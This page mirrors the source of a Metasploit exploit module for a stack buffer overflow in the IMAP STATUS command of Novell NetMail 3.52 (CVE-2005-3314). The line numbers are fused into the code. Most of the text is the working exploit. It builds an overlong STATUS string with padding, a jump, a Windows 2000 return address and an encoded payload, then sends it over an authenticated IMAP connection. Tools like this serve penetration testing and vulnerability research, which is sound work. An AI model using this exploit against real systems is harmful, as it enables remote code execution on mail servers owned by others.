Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/imap/novell_netmail_status.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Imap910def initialize(info = {})11super(update_info(info,12'Name' => 'Novell NetMail IMAP STATUS Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in Novell's NetMail 3.52 IMAP STATUS15verb. By sending an overly long string, an attacker can overwrite the16buffer and control program execution.17},18'Author' => [ 'MC' ],19'License' => MSF_LICENSE,20'References' =>21[22[ 'CVE', '2005-3314' ],23[ 'OSVDB', '20956' ],24[ 'BID', '15491' ],25],26'Privileged' => true,27'DefaultOptions' =>28{29'EXITFUNC' => 'thread',30},31'Payload' =>32{33'Space' => 500,34'BadChars' => "\x00\x0a\x0d\x20",35'StackAdjustment' => -3500,36},37'Platform' => 'win',38'Targets' =>39[40['Windows 2000 SP0-SP4 English', { 'Ret' => 0x75022ac4 }],41],42'DefaultTarget' => 0,43'DisclosureDate' => '2005-11-18'))4445end4647def exploit48sploit = "a002 STATUS " + rand_text_english(1602) + payload.encoded49sploit << "\xeb\x06" + rand_text_english(2) + [target.ret].pack('V')50sploit << [0xe8, -485].pack('CV') + rand_text_english(150) + " inbox"5152info = connect_login5354if (info == true)55print_status("Trying target #{target.name}...")56sock.put(sploit + "\r\n")57else58print_status("Not falling through with exploit")59end6061handler62disconnect63end64end656667